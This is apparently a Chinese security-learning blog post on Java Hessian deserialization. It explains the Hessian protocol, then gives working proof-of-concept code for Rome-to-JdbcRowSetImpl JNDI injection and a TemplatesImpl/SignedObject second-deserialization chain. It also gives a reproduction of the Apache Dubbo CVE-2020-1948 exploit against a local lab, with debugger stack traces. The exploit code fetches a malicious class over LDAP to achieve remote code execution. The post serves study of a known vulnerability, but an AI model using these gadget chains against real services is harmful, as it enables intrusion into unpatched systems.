Hessian反序列化学习
2025-01-21 20:29:15

Hessian反序列化学习

RPC

RPC(Remote Procedure Call Protocol)远程过程调用协议,RPC与RMI类似都是通过网络调用远程的服务。但RPC和RMI的不同之处就在于它以标准的二进制格式来定义请求的信息 ( 请求的对象、方法、参数等 ),这种方式传输信息的优点之一就是跨语言及操作系统。

在面向对象编程范式中,RMI其实就是RPC的一种具体实现。

RPC协议的一次远程通信过程如下:

  • 客户端发起请求,并按照RPC协议格式填充信息
  • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
  • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
  • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

Hessian简介和基本使用方法

  • Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议,官方在不同语言中(Java、Python、C++…)均有对Hessian协议的实现,Hessian一般在Web服务中是用。在Java中Hessian协议定义远程对象,是用二进制格式进行传输。

  • 基本是用

导入依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
</dependencies>

使用Hessian和Java原生的序列化和反序列化的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package org.example;

import java.io.*;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;

import java.io.Serializable;

// Hessian序列化和反序列化演示
public class HessianUsage implements Serializable{

public static<T> byte[] serialize(T o) throws IOException{
// 是用字节数组流封装
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// 使用Hessian协议的对象
HessianOutput output = new HessianOutput(byteArrayOutputStream);
output.writeObject(o);
System.out.println(byteArrayOutputStream.toString());
return byteArrayOutputStream.toByteArray();
}

public static<T> T deserialize(byte[] bytes) throws IOException{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(byteArrayInputStream);
Object object = input.readObject();
return (T)object;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.setAge(22);
person.setName("1cfh");


// 使用Hessian的序列化和反序列化
System.out.println("Hessian Ser Test:");
byte[] s = serialize(person);
System.out.println((Person) deserialize(s));
//

// 使用原生的Java序列化和反序列化
System.out.println("Java Ser Test:");
JavaSer javaSer = new JavaSer();
byte[] s1 = javaSer.serialize(person);
System.out.println(javaSer.deserialize(s1));
}



}



// Java原生序列化和反序列化
class JavaSer implements Serializable{
public byte[] serialize(Object t) throws IOException{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(t);
System.out.println(byteArrayOutputStream.toString());
return byteArrayOutputStream.toByteArray();
}

public Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}


}


class Person implements Serializable {
public String name;
public int age;

public int getAge() {
return age;
}

public String getName() {
return name;
}

public void setName(String name){
this.name = name;
}

public void setAge(int age){
this.age = age;
}

// @Override
// public String toString(){
// return ("age="+age+",name="+name);
// }

}

image-20250116084800892

Hessian反序列化

接Rome打JNDI注入(出网)

demo,打Rome然后JdbcRowSetImpl JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class HessianRCE implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
// System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/Basic/FromFile/Evil.class";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
/*
* 构造的Hashmap结构如下s:
* - size: 2
* - tbl:
* -[0] v1:v1
* -[1] v2:v2
* */


HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

使用Hessian输入输出流封装Hashmap对象后,首先是HessianInput的readObject

首先跟进封装的类型进入switch中对应的case,此处为77(map)

获取type然后读取map

image-20250117083617279

在readMap中获取Deserializer对象传入_hashMapDeserializer,然后从input中读取map

image-20250117083904466

HashMap,然后运行构造函数实例

image-20250117084351792

继续跟进是反射的代码模块了,首先获取access的权限,然后创建实例

image-20250117084444994

然后addRef新生成的map,这里恢复hashmap的结构时循环in中的内容,然后直接调用了readObject来恢复对象,同时put到hashmap中

image-20250117084845850

put -> hash -> hashcode,然后进入rome链子

1
2
3
4
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)

之后就是触发getter,pds中的databaseMetaData.getMetaData中进行lookup查询,然后完成JNDI注入

image-20250117101712849

总的调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
connect:634, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
deserialize:30, HessianRCE (org.example)
main:101, HessianRCE (org.example)

TemplatesImpl+SignedObject二次反序列化

在JNDI中曾尝试了触发TemplatesImpl链,因为毕竟比较简单

但是失败了,demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
String filePath = "E:\\Java_Sec\\HessianDemo\\src\\main\\java\\org\\example\\Evil.class";

byte[] buffer = null;
FileInputStream fileInputStream = new FileInputStream(filePath);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] temp = new byte[1024];
int n;
// 以byte形式读取文件内容到temp,然后写入到byteArrayOutputStream中
while((n = fileInputStream.read(temp))!=-1){
byteArrayOutputStream.write(temp, 0, n);
}
fileInputStream.close();
byteArrayOutputStream.close();
buffer = byteArrayOutputStream.toByteArray();

setValue(templates,"_bytecodes", new byte[][]{buffer});
setValue(templates,"_name", "c.c");
setValue(templates,"_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));

没有报错,但是也没有预期中的弹计算器

image-20250117102205791

调试

恶意TemplatesImpl套在ToStringBean中,ToStringBean套在EqualsBean中,所以在反序列化时会如同按字典映射关系进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
readMap:220, UnsafeDeserializer (com.caucho.hessian.io) [3]
readMap:114, UnsafeDeserializer (com.caucho.hessian.io)
readMap:571, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
readObject:1012, HessianInput (com.caucho.hessian.io)
deserialize:165, FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer (com.caucho.hessian.io)
readMap:208, UnsafeDeserializer (com.caucho.hessian.io) [2]
readMap:114, UnsafeDeserializer (com.caucho.hessian.io)
readMap:571, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
readObject:1012, HessianInput (com.caucho.hessian.io)
deserialize:165, FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer (com.caucho.hessian.io)
readMap:208, UnsafeDeserializer (com.caucho.hessian.io) [1]
readMap:114, UnsafeDeserializer (com.caucho.hessian.io)
readMap:571, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
deserialize:33, HessianRCE (org.example)
main:96, HessianRCE (org.example)

注意此处在恢复TempaltesImpl对象的时候,使用封装的deser进行反序列化,如下图,_tfactory为null,与我们预设的不同

image-20250120115244228

从而导致了在后续调用时null字段调用了getter导致了Null异常

image-20250117104620183

查看了下对应的声明,这些字段均有由transient修饰

transient的作用是指定某个类的字段在序列化时不被序列化

image-20250117104718186

二次反序列化

看看TemplatesImpl的原生反序列化函数,他会在原生的readObject中帮助声明工厂字段

image-20250117171934929

因此,二次反序列化的打法应运而生。

二次反序列化:在一个类中有字段被transient修饰,在正常序列化中无法被序列化,但是其原生的readObject中有对应的声明

因此如果我们能找到一条链子A,其含有任意对象的readObject函数,那么先触发链A,在链A中将对象设置为sink对象的,那么就可以执行原生反序列化,从而恢复完整的对象

此处找到的对象为java.security的SignedObject

image-20250120120137779

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
getObject:178, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
Hessian2_Deserial:70, Hessian2_SignObject (org.example)
main:53, Hessian2_SignObject (org.example)

然后恢复出Templates的完整对象

image-20250120120233705

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
readObject:199, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
defaultReadFields:1993, ObjectInputStream (java.io)
readSerialData:1918, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
access$300:206, ObjectInputStream (java.io)
readFields:2157, ObjectInputStream$GetFieldImpl (java.io)
readFields:541, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
getObject:180, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
Hessian2_Deserial:70, Hessian2_SignObject (org.example)
main:53, Hessian2_SignObject (org.example)

最好在Rome的toString中会循环调用getter,那么就可以拼接到TemplatesImpl的getOutputProperties了

image-20250120120313011

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
getObject:180, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
Hessian2_Deserial:70, Hessian2_SignObject (org.example)
main:53, Hessian2_SignObject (org.example)

其他链子

  • Spring PartiallyComparableAdvisorHolder链

  • Spring AbstractBeanFactoryPointcutAdvisor链

  • Resin链

  • XBean链

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

Apache Dubbo 是一款高性能的开源Java RPC框架,支持多种传输协议,例如dubbo(Dubbo Hessian2)、Hessian、RMI、HTTP等。在某些版本下,Apache Dubbo默认使用hessian,其存在反序列化漏洞,攻击者可以利用发送恶意RPC请求来触发该漏洞。

img

Apache Dubbo工作流程:

  1. 首先服务容器加载并允许Provider
  2. Provider在启动时向注册中心Registry注册自己提供的服务
  3. Consumer在Registry处订阅Provider提供的服务
  4. Registry返回服务地址给Consumer
  5. Consumer根据Registry提供的服务地址调用Provider提供的服务
  6. Consumer和Provider定时向监控中心Monitor发送一些统计数据

影响版本

2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)

环境搭建

下载完成后将conf下的zoo_sample.cfg配置文件重命名为zoo.cfg,并配置dataDirdataLogDir路径

1
2
dataDir=Y:\YouPath\apache-zookeeper-3.6.3-bin\data
dataLogDir=Y:\YouPath\apache-zookeeper-3.6.3-bin\log

启动:zkServer.cmd,默认端口为2181

image-20250121000305320

api:

1
2
3
4
5
6
package com.api;

public interface IHello {
String IHello(String name);
Object IObject(Object o);
}

provider:

Springboot中使用了@EnableDubboConfig注解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.dubboprovider;

import org.apache.dubbo.config.spring.context.annotation.EnableDubboConfig;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
@EnableDubboConfig
public class DubboProviderApplication {

public static void main(String[] args) {
SpringApplication.run(DubboProviderApplication.class, args);
}

}

@EnableDubboConfig 的作用是:

  1. 开启 Dubbo 配置功能:允许 Spring 自动扫描和加载与 Dubbo 相关的配置类(例如,@DubboService@DubboReference 标注的内容)。
  2. 启用配置中心:它可以连接到 Dubbo 的配置中心,例如 Zookeeper、Nacos 等,从而动态加载配置。
  3. 注册配置 Bean:将配置类(如 DubboConfig 的实现类)注册到 Spring 的上下文中。

然后是路由controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.dubboprovider.service;

import com.api.IHello;
import org.apache.dubbo.config.annotation.Service;

@Service
public class HelloService implements IHello {

@Override
public String IHello(String name) {
return "Hello "+name;
}

@Override
public Object IObject(Object o) {
return o;
}
}

consumer

Springboot中使用了@EnableDubboConfig注解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.dubboconsumer;

import org.apache.dubbo.config.spring.context.annotation.EnableDubboConfig;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
@EnableDubboConfig
public class DubboConsumerApplication {

public static void main(String[] args) {
SpringApplication.run(DubboConsumerApplication.class, args);
}

}

在controller中调用zookeeper的服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.example.dubboconsumer.consumer;

import com.api.IHello;
import org.apache.dubbo.config.annotation.Reference;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloConsumer {

@Reference
private IHello iHello;

@RequestMapping("/hello")
public String hello(@RequestParam(name = "name")String name){
String h = iHello.IHello(name);
System.out.println("调用Provider");
return h;
}

@RequestMapping("/calc")
public void Hessian_Ser() throws Exception {
Object o = Hessian_Payload.getPayload();
Object b = iHello.IObject(o);
}
}

漏洞调试

获取构造好的恶意Hashmap

这里选择使用Rome打JdbcRowSetImpl的getter完成JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Object getPayload() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/Basic/FromFile/Evil.class";
// String url = "ldap://localhost:9999/EXP";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(equalsBean,"1");

return hashMap;
}

在calc路由下打个断点,然后访问

注意此处的iHello是个proxy class对象

image-20250121193522687

获取恶意的hashmap之后进入IObject方法,开始invoke调用

首先获取方法名和参数,然后声明创建RPC连接对象和serviceKey,并setTargetServiceUniqueName

image-20250121194124043

进入MockClusterInvoker的invoke,首先检查mock参数

在 Dubbo 中,mock 是一个配置参数,用于表示服务调用是否启用“模拟逻辑”或“服务降级”功能。它的核心作用是在服务调用失败或不可用的情况下,提供一个替代逻辑来避免调用失败的影响

此处为false,然后进入替代逻辑,还是一个反射调用

image-20250121195003345

进入AbstractCluster的invoke,这里有个拦截器的调用

image-20250121195535476

然后一路跟进到decode,这里在处理着二进制数据的加解密

image-20250121201220878

经过handleValue#RecodeableRpcResult,后先入经过hessian2和hessian的readObject

image-20250121201738742

然后恢复map的时候要put,调用了Hashmap的hash函数,从而打了rome链子

image-20250121202002041

在rome链子的toString中打getter,从而JNDI注入

image-20250121202121604

完整堆栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
readObject:97, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
handleValue:145, DecodeableRpcResult (org.apache.dubbo.rpc.protocol.dubbo)
decode:97, DecodeableRpcResult (org.apache.dubbo.rpc.protocol.dubbo)
decode:117, DecodeableRpcResult (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:48, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
waitAndDrain:93, ThreadlessExecutor (org.apache.dubbo.common.threadpool)
get:179, AsyncRpcResult (org.apache.dubbo.rpc)
invoke:61, AsyncToSyncInvoker (org.apache.dubbo.rpc.protocol)
invoke:89, MonitorFilter (org.apache.dubbo.monitor.support)
invoke:81, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:51, FutureFilter (org.apache.dubbo.rpc.protocol.dubbo.filter)
invoke:81, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:55, ConsumerContextFilter (org.apache.dubbo.rpc.filter)
invoke:81, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:78, ListenerInvokerWrapper (org.apache.dubbo.rpc.listener)
invoke:56, InvokerWrapper (org.apache.dubbo.rpc.protocol)
doInvoke:82, FailoverClusterInvoker (org.apache.dubbo.rpc.cluster.support)
invoke:259, AbstractClusterInvoker (org.apache.dubbo.rpc.cluster.support)
intercept:47, ClusterInterceptor (org.apache.dubbo.rpc.cluster.interceptor)
invoke:92, AbstractCluster$InterceptorInvokerNode (org.apache.dubbo.rpc.cluster.support.wrapper)
invoke:82, MockClusterInvoker (org.apache.dubbo.rpc.cluster.support.wrapper)
invoke:74, InvokerInvocationHandler (org.apache.dubbo.rpc.proxy)
IObject:-1, proxy0 (org.apache.dubbo.common.bytecode)
Hessian_Ser:25, HelloConsumer (com.example.dubboconsumer.consumer)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:483, Method (java.lang.reflect)
doInvoke:205, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:150, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1743, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:744, Thread (java.lang)

Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)

参考TCTF2022 Hessian-onlyJdk

Hessian先到此结束吧。。。

参考

  1. https://goodapple.top/archives/1193
  2. https://boogipop.com/2023/03/21/%E8%A2%AB%E6%88%91%E5%BF%98%E6%8E%89%E7%9A%84Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Apache-Dubbo-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-CVE-2020-1948
  3. https://xz.aliyun.com/t/13599?time__1311=GqmxuDc7iQKiqGNDQ0PBKqKhCGCSddYa4D#toc-10
Prev
2025-01-21 20:29:15
Next